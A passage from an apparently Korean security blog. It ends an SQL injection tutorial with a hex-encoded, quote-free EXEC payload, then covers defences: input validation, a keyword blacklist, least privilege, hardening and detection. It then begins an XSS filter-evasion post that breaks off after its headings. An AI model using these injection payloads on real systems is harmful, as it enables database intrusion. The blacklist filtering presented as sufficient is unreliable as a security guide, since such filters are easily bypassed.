EXEC (@x)

EXEC SP_EXECUTESQL @x

▪ 헥사를 이용

; declare @x varchar(80); set @x = 0x73656c65637420404076657273696f6e; EXEC (@x)

위의 명령어는 (‘)를 사용하지 않았다.

4 SQL Injection 대응 방안

4.1 개요

간단한 방법으로 입력 값 검증은 가장 중요한 부분 중에 하나 이다. 당신은 반드시 입력 값 검증을 모든 새로운 애플리케이션에 실시해야 한다. 그리고 당신은 존재하는 코드와 웹사이트를 조사해 봐야 한다. 추가적으로 서버를 견고하게 운영해야 한다. 데이터 베이스의 데이터 접근을 저장된 프로시저를 통하여 접근하고, 저장된 프로시저를 사용할 때 매개변수화 된 API를 이용하라. 모든 입력 값 검증은 일반적인 루틴을 이용하고, 최소한의 권한을 DB 사용자 에게 적용하라.

1) 입력 값 검증

각 필드를 위한 데이터 타입의 정의 되고, 정의된 타입만 허용 되어야 한다. 그리고 입력된 값의 검증을 위해서 필터를 사용해야 한다. 알려진 Injection 문자열에 대한 필터는 철저히 구현 되여야 한다. 아래와 같은 문자열은 반드시 제거 되어야 한다.

예) “"select", "insert", "update", "shutdown", "delete", "drop", "--", "'"

2) 서버를 견고하게 운영하기

1. DB 최소권한의 유저로 운영하라.

2. 사용하지 않는 저장된 프로시저와 기능들은 제거하거나 관리자에게 제한된 접근 권한을 주어라.

3. 퍼미션을 변경하고, 공개된 시스템 객체에 접근을 제거 하라.

4. 모든 사용자 계정의 패스워드를 강화 시켜라

5. 미리 승인된 서버의 링크를 제거 하라.

6. 사용하지 않는 네트워크 프로토콜을 제거하라.

7. 신뢰할 수 있는 네트워크,웹 서버, 백업 서버만 접근을 허용하라.

4.2 탐지 및 제한시키기

SQL Injection 시도에 대한 탐지 원한다면, SQL Injection 시도를 로그에 남기고, 이 메일로 경고장을 보내고, IP차단 하고, 올바르지 않은 에러 메시지를 보내도록 설정하라. 이것들은 검증 스크립트에 코드와 되어야 한다.

4.3 결론

SQL Injection 은 매혹적이고, 아주 위험한 취약점이다. 모든 프로그램 언어 그리고 SQL DB는 잠재적인 취약점을 가지고 있다. 보호 하기 위해서는 강력한 디자인, 정확한 입력 값 검증, 견고하게 서버를 운영 해야 한다.

※ 참조자료 및 문서

[1] Advanced SQL Injection, (http://www.owasp.org).

출처 osiris kisec 14th

No trackbacks, No comments.

다양한 방법의 XSS

해킹&보안/WEB 해킹 | 2009/08/26 17:40

다양한 XSS 방법들을 소개합니다

일반적으로 document.cookie 같은경우 대부분의 사이트에서 필터링 됩니다

이 사이트 역시 앞에 "no_"가 붙습니다

그럼 와 같은 형태는 어떻게 될까요?

아마 필터링 하기 어렵겠지요 아래예들은 이와같이 여러가지 자바스크립트들을 실행하기 위한 예들을 보여줍니다

XSS (Cross Site Scripting):

XSS locator

URL encoding calculator